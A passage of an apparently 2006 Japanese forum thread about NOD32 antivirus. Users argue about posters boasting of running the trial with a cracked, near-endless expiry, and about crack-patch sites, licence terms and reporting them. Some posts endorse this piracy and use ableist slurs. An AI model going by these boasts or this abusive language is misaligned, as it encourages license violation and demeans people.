348 名前：名無しさん＠お腹いっぱい。　[sage]　投稿日：2006/01/01(日) 19:23:01 ID:iZFsEyx30
なんだハードディスクがクラッシュしたんじゃないのか。騙されるとこだった。

350 名前：名無しさん＠お腹いっぱい。　[sage]　投稿日：2006/01/01(日) 19:59:32 ID:FUrm7ZZ/0
>>347
その海外フォーラムって、あのNOD厨が愛用しているフォーラムじゃん。
NODを開発した社員が直に書き込みしているフォーラムだから読み応えがあるって、NODスレでしきりに自慢していた。

NOD32アンチウィルス Part27
pc8.2ch.net/test/read.cgi/sec/1135527602/2
pc8.2ch.net/test/read.cgi/sec/1135527602/151
pc8.2ch.net/test/read.cgi/sec/1135527602/235
pc8.2ch.net/test/read.cgi/sec/1135527602/236
752 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2006/01/02(月) 00:19:54 ]: Z音は馬鹿ですか
753 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 00:20:58 ]: そのとおりです。
754 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 00:58:50 ]: 日数を○○するツール使えば半永久的に使えるおｗ
755 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 01:17:05 ]: そんなことしなくてもカードがあれば正々堂々と使えるよ。
756 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 01:29:55 ]: >>754
ツールいらんだろ
757 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 01:39:14 ]: 買えよ貧乏人
758 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 01:40:35 ]: ほんと　逮捕されればいいのにな
759 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 02:05:59 ]: というか、不正している奴って惨めだろ？
たった数千円程度を惜しんで不正？
サポートも受けれずに惨めでしかないぜ。

ちゃんと買って使えってこと。
お金は使う為にある、使うからこそ価値がある。
760 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 02:09:19 ]: 1671万日ほど評価し続けようかと思います　＾＾；
761 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 06:10:12 ]: フリーのもあるんだからそれ使えばいいだろ。
基地外の考えることは理解できん。
762 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 06:21:38 ]: おれもただいま1671万日評価中。
まだ2ヶ月だがすごくいい感じ。期限切れたら即お金出して買おうと思ってます。
　
マカフィー、バスター、avastと使ってみましたけど、検知力、速度、軽さ、申し分ないですね。
763 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 06:24:04 ]: 死ぬまで評価してろ。クズ
764 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2006/01/02(月) 06:25:46 ]: >>762
通報しました
765 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 06:47:46 ]: ふふふ、正月からビッグフィッシングだぜ！
766 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 07:05:05 ]: でた！基地外得意の釣り宣言。
767 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2006/01/02(月) 07:06:02 ]: >>765
どうでもいいからそんなこと。
お前の発言に問題があったんであって。
768 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 07:26:59 ]: くやしかったらCrackパッチ配布サイトをつぶしてみせろや。
769 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 07:31:58 ]: お？
逆切れですか？
黙ってりゃこのまま流そうかと思ったんだけど・・・。
突っかかってこられりゃ仕方ないな。
とりあえずリアルで通報しときますね。
770 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 07:39:36 ]: 通報するなら配布サイトを探し出してURLをおしえてあげるといいよ。
俺は面倒だからやらないけど。
771 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 07:46:03 ]: そんな必要はないし。
『意図的に』クラック（不正使用）してるとカミングアウトしてる人間を突き出すだけでいいから。
772 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 07:46:30 ]: そもそも極端にむきになって荒らしを相手しているバカを消して欲しい。
あれね、外から見てると割れ厨に劣等感持ってる坊ちゃんにしか見えん。

NODが好きだからNODつかってんじゃねーのか？って聞きたい。
773 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 07:49:45 ]: >>772
だから正規の方法で使ってるんだけど？
好きだからクラックしていいなんて頭おかしいんじゃない？
774 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 07:55:36 ]: どっちもがんばれー
775 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 08:11:05 ]: ｍ9(^Д^)ﾌﾟｷﾞｬｰｰｰｯ
776 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 08:44:08 ]: なんだ？もうおわりかチキン野郎かかってコイやぁ！
777 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 08:56:23 ]: おやおや、朝からｗ
偽善者を見るとヘドがでますね。正義感きどり (´ﾛ`)きんもーっ☆
778 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 09:00:15 ]: 通報しました！！
779 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 09:01:26 ]: またZ音の自作自演かよ・・・・・・
780 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 09:17:49 ]: > くやしかったらCrackパッチ配布サイトをつぶしてみせろや。
笑うところかな？
不正行為を行っていることに優越感でも感じているのでしょうか？
性質の悪い不良が、万引きに成功してその成果を自慢しているようにしか聞こえません。
賢い行動とはいえませんね。
781 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 09:36:24 ]: 評価中です＾＾；
782 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 11:08:15 ]: いや、でも配布サイトがあるから問題なんだろ
悪は放っておいて子悪党を捕まえて満足か？
783 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 11:47:25 ]: ﾈﾑｲ( ･д⊂ヽ゛
784 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 12:25:31 ]: わたしも評価中です＾＾；
785 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 12:43:42 ]: peercast見るにはwmpの方をIMON除外です＾＾；
786 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 12:45:40 ]: >>780
別に優越感なんか感じてないわな。
単に無料で使えるから使ってるだけで。
あと通報通報ってどこに何を通報するつもりなんだろ。
787 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 13:11:05 ]: >>786が良いこと言った
788 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 13:14:54 ]: >>786
ネタにマジレスか？
早目に釣りでした宣言でもして切り上げんと
恥ずかしくてスレ見れなくなるぞ
789 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 13:20:05 ]: そのうち対策してくれるだろう。　じゃなきゃ買った俺たちが損した気分。

メールしとこう
790 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 13:20:21 ]: 1671万日ほどNOD32とこのスレを評価し続けようかと思います　＾＾；
791 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2006/01/02(月) 13:20:43 ]: >>786
クラックしてる時点で犯罪なんですが？
792 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2006/01/02(月) 13:49:22 ]: 逃げたｗ
793 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 13:51:50 ]: Crackとか好きなら勉強して自分で解析すればいい
そこらでパッチ拾ってきて喜んでるようじゃ...
794 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 13:52:45 ]: >>790
何万年生きるつもりだ？
795 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 13:54:02 ]: >>794
それはコピペだ
796 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 13:55:09 ]: >>795
そんなのどうでもいい
797 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 13:56:47 ]: >>796
どうでもいいならレスすんな
798 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 13:57:45 ]: >>796
m9(^Д^)
799 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 13:58:30 ]: >>797
そもそも意味ないレスだし。
800 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 13:58:53 ]: >>796
(　ﾟ,_･･ﾟ)ﾌﾞﾌﾞﾌﾞｯ
801 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 14:01:17 ]: じゃ、俺もメールしとくわ
802 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 14:03:46 ]: >>791
そんなわけないけどな。
どんな罪になるか言ってごらん。
ソフト自体に変更は加えてないよ。
803 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 14:06:12 ]: 俺は一ヶ月に一回メール登録してるからクラックとか関係ないな。
Canonマジ親切。
804 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2006/01/02(月) 14:09:35 ]: >>802
わかったわかった。
とりあえずここで駄弁っても疲れるだけだから一応連絡だけはしとく。
それで向こうさんが『良い』っていうならそれでいいし。
805 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 14:13:11 ]: >>788
これがネタにマジレスってやつかな、もしかして。
>>789
>買った俺たちが損した気分。
これが一番近いだろう。貧乏人と煽ったところで悔しいみたいに見える。
ただ一年以上前からメールは送られてるけどな。
806 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 14:14:28 ]: >>804
だからどんな罪になるのか言ってごらんって。
良いって言うわけないだろ。バカか。
807 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 14:16:36 ]: >>806
何言ってるの？ｗ
池沼？ｗ
言ってることがめちゃくちゃだよ？ｗ
808 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 14:17:13 ]: 30日では評価できない人は1671万日まで評価できます＾＾；
809 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 14:20:03 ]: >>806
試用は30日までって契約じゃないのか。
その契約を無視すれば違法じゃないのか。
810 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 14:26:49 ]: >>809
へー、そんな契約あったっけ。どこに。
811 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 14:29:26 ]: >>807
簡単に知障という単語を出せる人は精神年齢も低いでしょう。
812 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 14:31:18 ]: こんなところで暇つぶししてないで初詣でも行ってきたらどうだ？
813 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 14:31:41 ]: >>810
俺は体験版使ってないから知らんが、
君は何らかのライセンス契約に同意してインストールしたんじゃないか。
814 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 14:32:03 ]: >>805
どの部分がネタなのかマジでわかってないのか？
815 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 14:32:27 ]: なんかホント金を払って悔しいだけに見えるな。
犯罪者のやることなんざほっとけよ。
816 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 14:33:40 ]: >>805
痛すぎる
817 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 14:34:50 ]: >>813
NOD32に対するライセンス契約ならあるが、その何らかに体験版の制限に関する項はないね。
818 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 14:36:03 ]: >>812
俺は一応行ってきたよ
近所の神社だけどね
819 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 14:36:24 ]: おお、だんだんネタだとか痛いだとか関係ない話を・・・
なんだかんだ言って放っておけない連中なんだな
820 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 14:40:05 ]: >>813
体験版と製品版の中身は一緒。
体験版を使っていないのではなく、その期間を試用していないだけ。
まぁ試用せずいきなり買うとかあまりしない方が良いよ。
821 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 14:44:37 ]: > >買った俺たちが損した気分。
> これが一番近いだろう。貧乏人と煽ったところで悔しいみたいに見える。

違うと思うよ
ユーザーが対価を払って初めてサポートや品質を得られるわけで
金を払わないユーザーが増えることでそれらが劣化するわけでしょ
だから正規ユーザーは不快なわけ
そんな市場原理以前の問題もわからないのかな
822 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 14:45:07 ]: >>820
ちゃう、どっちもライセンスキーを貰わなくては使えない。
違いは30日か１年か、そのライセンスキーの期間の長さ。それだけ。
あ、英語版は一ヶ月体験版だからそれでいいか。日本語版だけがライセンスキーに体験期間が与えられるんだな。
823 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 14:46:11 ]: >>821
バーカ。ならメーカーが対策しろよ。
黙認してるってことは大した損害がないとEsetが認識してるってことだよ。頭使え。
824 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 14:50:15 ]: ダウソ板よりレベル低いな
825 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 14:50:23 ]: >>823
結局言いたいのは捕まらないからいいやって事な
黙認ってお前が決めつけてるだけだろ
826 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 14:51:50 ]: >>820
あほなこというなよ。
契約の話なんだから。

>>817
まあちゃんと読めばわかるだろ
827 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 14:53:26 ]: これマジ軽いね、逆にちゃんと防いでくれるのか心配なほど軽い
828 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 14:53:38 ]: >>826
ちゃんと読めばわかるとか逃げずに引用して。
829 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 14:57:46 ]: >>826
俺は契約の話なんざしてないが。むしろどうでもいい。
試用せずに買った813の感覚に対して話をしている。
あと単に体験版と製品版の違いはない、という話。
830 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 14:59:35 ]: 体験版入れようとすると再インストールになっちゃって読めない罠
831 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 15:08:12 ]: >>829
俺は試用して買ったよ。
英語版を試用したけど。
そしてプログラムは同じといってるけど、インストーラーがちょっと違うんだよ。
英語版と日本語版の体験版でもインストーラーは違うし、
契約内容の表示も(もちろん言語の違いはあるが)違うかもしれないと思ったんだよ。

そもそも試用してから買わなくてもいいだろ。
Windowsだって試用できないし、多くのパッケージソフトは試用できない。
そんなこと人の自由。
832 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2006/01/02(月) 15:08:14 ]: とりあえず通報しました。
回答をするようにお願いしてるので、また後ほど。
ちなみに回答は早くても5日以降でしょうね。
833 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 15:09:18 ]: >>829
誰もそんな話はしていない。
クラックしていることの問題について話してるんだよ。
論点ずらすな
834 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 15:13:41 ]: 何で厨相手に必死になってるんだろう
暇なら寝てろよ
835 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 15:14:52 ]: ここはクラッカーがたくさんいるスレですね＾＾；
836 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 15:15:49 ]: >>831
セキュリティソフトを試用せず買うってのはセキュリティ意識が低い証拠。
OSと一緒にするなっての。Windowsに不具合が出たら買わないのかよお前は。
もちろん人の自由なのは間違いない。
837 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 15:19:39 ]: 結局この喧嘩にどう決着がついたとしても何も変わらん。
熱くなってるのは金を払ってる正常な人間だけだ。
838 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 15:19:54 ]: >>836
悪かった。
せっかく忠告してくれたんだから感謝するよ。
でも俺は試用できるものは試用するよ。試用したって書いてあるだろ。
839 名前：名無しさん＠お腹いっぱい。 mailto:sagｅ [2006/01/02(月) 15:22:40 ]: >>837
決着をつけるのは『金を払ってる人間』ではない
840 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 15:28:13 ]: >>833
お前となんか会話してないけどな。
論点がズレてない証拠に本人がちゃんとレスしてるし。
そもそもクラックを使ってる人間に使うなと言っても無駄。
俺はそんな無益なことはどうでもいい。俺個人はちゃんと払えばそれで済む話。
>>838
あ、上のレスは俺じゃないけど試用したのか。
だって体験版使ってないから知らんがって書いてあるし。
体験版は使ってないのに試用した、って普通はわからんじゃん？
それに英語版も試用版と製品版の違いはないしさ。
俺はただ中身は一緒だと言いたかっただけなんだ。
841 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 15:30:51 ]: >>840
>>831に書いたとおり
842 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 15:32:30 ]: しつこいけど、
体験版は現在使ってないという意味で言ったのよ。
まあ気にしないでくれ。
843 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 15:34:02 ]: なんの前フリだろう・・・。
844 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 15:35:11 ]: PDFのテキストだからコピー出来ないけど、ライセンス違反については書かれていないね。
(c)ライセンサーが明示した場合、使用期間にはライセンス料が適用されません。
だけど、ライセンサーは30日と明示しているから、
(a)（略）ライセンス料の支払いによって、お客様は本契約の期間中本契約の規定に従い本製品を使用する権利を賦与されます。
よって少なくとも使用する権利はないと思うけど、
詳しくは問い合わせしろって書いてあった。>>832の返信待ちってとこかな。
845 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 15:50:25 ]: このスレの住人は割れ厨ばかりだねw
846 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2006/01/02(月) 15:51:27 ]: 一緒にすんなボケ
847 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 15:54:51 ]: >>844
てか>>832がどんなメールを送ったのかだが・・・。
何を通報して何に対して回答を求めたのやら・・・。
848 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 15:56:52 ]: 飽きた
もうちょっとレベルの高いネタないの？
冬厨のためになるようなセキュリティの話聞かせておくれよ
849 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 16:05:30 ]: 雑音には無理。
850 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 16:18:39 ]: >>848
スレ違い。
851 名前：名無しさん＠お腹いっぱい。 [2006/01/02(月) 16:42:18 ]: 皆さん、FWは何で使ってますか？
852 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 16:58:57 ]: >>851
PCで
853 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 16:59:24 ]: またそれか
854 名前：1 mailto:sage [2006/01/02(月) 17:15:18 ]: 漏れの立てたスレよごすな馬鹿チンどもが・・・
855 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 17:33:18 ]: 自分で汚してるしｗｗｗｗ
856 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 17:39:07 ]: >>850
ﾜﾛﾀ
857 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 22:12:38 ]: かきこが全然ないぞ。昨日深夜の盛り上がりはどこへ行った
858 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2006/01/02(月) 22:13:34 ]: びびって書き込めないんだろ
859 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 22:31:08 ]: 2chに書き込むのに何かビビることでもあるのか
860 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 22:58:37 ]: 雑音がいなくなるととたんに過疎化するなw
861 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 23:04:19 ]: >>859
昔と違ってログにIPが残ってるようだから
ログ提出という話になったときには身元が割れる。
ま、串でも通してなければビビるに足る理由はあるな。
862 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 23:16:51 ]: >>861
は？なんで2chがログ提出するのさ。刑事事件でもあるまいし。
この発言者が体験版の期間を延ばしてるかもしれないから、というキヤノンの要請で提出するの？
それでキヤノンがそのIPを手にして何ができるの？

バカか。バカというかもう・・・お前は発言するな。
863 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 23:20:26 ]: >>861
ﾜﾗﾀ。こいつ真性のﾊﾞｶだなｗ
864 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2006/01/02(月) 23:28:46 ]: 民事でもIP出せって言えば出すんだが・・・。
もちろん裁判所経由になるけどね。
865 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 23:37:32 ]: あくまでも1671万日体験してるとは書いてあってもクラックしてるとはどこにも書いてないぞ
866 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2006/01/02(月) 23:39:46 ]: >>865
1671万日体験のライセンスはどこからもらったの？
867 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 23:39:49 ]: サイトのIDとパスワ－ド取得ボタン押しても繋がらんので
パスワ－ド取得できん
サイトおちてんのか
868 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 23:40:10 ]: >>865
急に怖くなったのか？www
869 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 23:46:53 ]: 許してください、出来心なんです ((((((;ﾟДﾟ))))))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ
870 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 23:47:00 ]: >>866
体験版には65536本に1本の割合で期限が1671万日の体験版があるんです＾＾；
871 名前：1 mailto:sage [2006/01/02(月) 23:47:46 ]: 漏れのスレを汚すな！
872 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 23:50:03 ]: >>870
じゃあその辺の真偽も聞かないといけないね。
873 名前：名無しさん＠お腹いっぱい。 [2006/01/03(火) 00:09:07 ]: NOD32は、Hueristicsが非常に強力なため、
亜種に入れ替わっても、かなりの確率で検出します。
874 名前：867 mailto:sage [2006/01/03(火) 00:23:45 ]: IE6にしたらつながった
登録って本名かかなあかんのか
875 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 00:31:58 ]: >>864
それはもちろんキヤノンが2ch運営側にIPの提出を求めるんだよな・・・。
くっ・・・だらねぇ・・・。
876 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 00:32:00 ]: 馬鹿はすっこんでろ。
877 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 01:48:21 ]: 1.1348 (20060102)
878 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 02:03:16 ]: >>875
そして手に入れたとして、今度はそのIPをプロバイダ側へ持って行くと。
馬鹿馬鹿しくて涙が出るな。
発言者が体験版を違法試用している”かもしれない”でここまでするんだからな。
879 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 02:27:10 ]: ハッキリ言って妬んでるとしか思えんよなｗｗ
880 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 02:31:15 ]: 基地外の　基地外による　基地外のためのスレ
881 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 02:37:10 ]: ネタンデルタール人
882 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 02:49:16 ]: さむー。
883 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 02:50:35 ]: 妬んでるわけじゃないだろうがプロバイダはそんな下らないことで個人情報を晒さないよ。
884 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 08:04:02 ]: まだやってたのか
割れ厨相手にグダグダとまあ....
885 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2006/01/03(火) 08:14:36 ]: グダグダ言ってるのは割れ厨だけだろ馬鹿
886 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 09:15:30 ]: >>885
いつまでも相手すんなってことじゃないの？
反応しなきゃいい
887 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 09:26:08 ]: ネタ振ってるのも
それに反応してるのも一部の人間だけ
888 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 10:53:18 ]: チートネタってどう考えても釣りじゃん。
冬休みだからよく釣れたみたいだけどムキになりすぎだっての。
マジレスして申し訳ないけど。
889 名前：888 mailto:sage [2006/01/03(火) 12:58:27 ]: 正直申し訳ないなんて思ってないけどな。
890 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 13:20:00 ]: いつものNODスレだ
891 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 13:30:52 ]: 今日は寒いな
892 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2006/01/03(火) 13:52:25 ]: ううん
893 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 14:45:47 ]: 1.1349 (20060102)
894 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 16:38:20 ]: 自演って，バレるとﾁｮ-恥ずかしいね
895 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 18:04:56 ]: 1671万日ってウソですよね？
1671日の間違いですよね、それなら理解できます。５年も使えるなんて驚きですね。
896 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 18:48:53 ]: パッチサイト探してるんですが教えてくれませんか？
897 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 19:05:34 ]: >>896
つ　Google
898 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 19:10:53 ]: >>897
ちょ・・・おま・・・すぐ見つかるからやめろよ。
899 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 20:23:36 ]: 　ｧ　　∧＿∧　ｧ,､
　,､'` ｡ﾟ( ﾟ^∀^ﾟ)ﾟ｡,､'`
　 '` 　 ( ⊃ ⊂)　　'`
900 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 20:55:26 ]: >>895
別に嘘ではないがどうでもいいことだ。
だいたい256の3乗あたり。
901 名前：名無しさん＠お腹いっぱい。 [2006/01/03(火) 22:54:28 ]: Nod32かマカフィーどちらかいれようかと迷ってます
どちらがいいでしょうか？
902 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 22:57:51 ]: >>901
金糞太
903 名前：名無しさん＠お腹いっぱい。 [2006/01/03(火) 23:02:36 ]: マカフィースレできいたら
Nod32は糞だと言われました・・・・
904 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 23:02:41 ]: >>901
セキュリティに無知でファイアーウォールも入っていないんだったらノートンかマカヒーのインターネットセキュリティかっとけ
905 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 23:03:52 ]: みんなくだらない釣りにひっかかるなよ。
Coolにいこうぜ。
906 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 23:18:19 ]: セキュリティ初心者質問スレッドpart65
pc8.2ch.net/test/read.cgi/sec/1136294317/

NOD32厨しね
マカフィーに対抗できるわけない
907 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 23:25:31 ]: ウザイからセキュリティ初心者質問スレで宣伝すんのやめろ。
908 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 23:27:37 ]: なんで各ソフトのユーザーは宣伝するんだろ
すきなの使ってりゃいいじゃん
909 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 23:27:49 ]: NOD厨必死だな
910 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 23:34:14 ]: 学校で、知ったかパソコン知識を自慢してくるキモい奴が
NOD32厨で、NOD32が一番だといつもほざいている

俺に対して、「ノートン使っているの？」といわれたことが何回でもある
別に俺が何を使っていようとおまえには関係ないだろ？
ウイルス対策ソフト以外にも、うざいぐらいなおせっかいで、自分と同じソフト使っていないと
全て否定する、うざい奴

NOD32信者ってこういう奴が多いの？
911 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 23:39:33 ]: >>910
おまが日本語下手なのは理解できた。
912 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 23:42:44 ]: NOD32使うくらいならマカフィーつかった方がまし
913 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 23:43:18 ]: 911 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2006/01/03(火) 23:39:33
>>910
おまが日本語下手なのは理解できた。
　　　↑
禿輪ロス
914 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 23:44:11 ]: 俺も下手だな・・・　　　ｳﾙｾｰﾎﾞｹヽ(`Д´)ﾉｳﾜｧｧｧｧﾝ !
915 名前：910 mailto:sage [2006/01/03(火) 23:50:06 ]: >>911
NOD32厨は、煽ることしかできない奴っていうことは理解できた
916 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 23:50:59 ]: 911は雑音だろw
917 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 23:52:23 ]: >>910が馬鹿って事だけ分かった。
918 名前：910 mailto:sage [2006/01/03(火) 23:54:20 ]: >>917
NOD32厨は、煽ることしかできない奴っていうことは十分に理解できたからｗ
